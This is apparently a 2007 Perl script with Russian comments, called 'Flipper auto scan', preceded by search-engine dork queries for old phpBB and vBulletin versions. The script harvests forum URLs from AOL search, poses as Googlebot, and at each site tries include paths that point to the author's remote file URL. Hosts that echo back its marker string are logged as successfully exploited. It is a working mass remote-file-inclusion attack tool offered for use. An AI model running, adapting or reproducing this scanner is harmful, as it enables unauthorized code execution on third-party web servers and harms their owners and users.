inurl:"forumdisplay.php" +"Powered by: vBulletin Version 3.0.0..4"   
или
"Powered by phpBB 2.0.6..10" -phpbb.com -phpbb.pl -exploit

#!/usr/bin/perl -w

# Flipper auto scan ( Public Version )
# (c)ode by flipper
# 20.02.2007

use strict;
#use warnings;
use LWP::UserAgent;

our $hop = 50; # число скачков по результатам поисковика
our $banner = 'inurl%3A%22viewforum.php%3Ff%3D%22%2B%22Powered+by+PHPBB%22+-phpbb.com+-exploit'; # текст для поиска
#our $banner[1] = 'inurl%3A%22viewtopic.php%3Ft%3D%22%2B%22Powered+by+PHPBB%22+-phpbb.com+-exploit';
our $access = 'LKSJDLMCeijmefeisjiIJF'; # Текст для сравнения (удачный или нет инклуд)
our $mysite = 'http://www.f-l-i-p-p-e-r.narod.ru/1.txt'; # URL который будет инклудиться
our @content = ();
#our $proxy = '172.16.0.1:8080';  # расскоментируйте если хотите использовать
our $host = '';
our $query = '';
our $url = '';


# конектимся на поисковик
print "[::searching::]\n";

for(my $i = 1; $i <= $hop; $i++) # переход по страницам результатов
{
        my $ua = LWP::UserAgent->new;
       if($proxy =~ m/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,6}/){
          $ua->proxy('http', "http://$proxy/"); };
       $ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);
        my $req = HTTP::Request->new(GET => "http://search.aol.com/aolcom/search?invocationType=topsearchbox.search&query=$banner&page=$i");
        $req->header('Accept' => 'text/html');
        my $res = $ua->request($req);
        push @content, $res->content;
}

# записываем URL'ы в массив
our @URLS;
foreach my $page (@content){
 while ($page =~m/http:\/\/(.+?)<\/p>/g){
        if ($1 !~ m/google|cache|translate|websearch|aol|w3|<b>/){
                        push (@URLS,$1);
        }
      }}

#open(URL, ">urls.txt");
#foreach $url (@uRLS) {print URL "$url\n";}
#close (URL);

print "[::exploiting::]\n";
# читаем из файла includ в массив
open(INCLUD, "<include.txt");
my @includ = <INCLUD>; close (INCLUD);
open(SUC, ">SUCCESS.txt");
# начинаем...
  foreach my $url(@URLS)
{
     $query=$url;
     $host=$url;                     #                       http://www.somehost.ru/phpbb/viewforum.php|f=40
     $host =~ s/href=\"?http:\/\///; # чистим URL что бы     www.somehost.ru/phpbb/viewforum.php|f=40
     $query=~ s/(.*\/)(.*)/$1/;      # он был пригоден       www.somehost.ru/phpbb/
     $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; # для подстановки www.somehost.ru/
    # if ($query eq "") {$query ="/";};
        foreach my $include (@includ) {   # пробуем подставить URL с нашим кодом
             chomp($include);         # убираем символ \n
             #  print "Host: $host\n";
             #  print "URL: $query\n";
             #  print "INC: $include\n";
             #  print "MY: $mysite\n";
             #  print LOG "host: $query$include$mysite\n----------------\n\n"; };
               my $ua = LWP::UserAgent->new;
               if($proxy =~ m/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,6}/){
                  $ua->proxy('http', "http://$proxy/"); };
               $ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);
               my $req = HTTP::Request->new(GET => "http://$query$include$mysite");
               $req->header('Accept' => 'text/html');
               my $res = $ua->request($req);
               if($res->content =~ /$access/oi) {print SUC "$query$include\n";} #нашли свой текст значит удачно!!!
#                else {print "[-] $a$b$include\n";}
#             }
        }
}

close (SUC);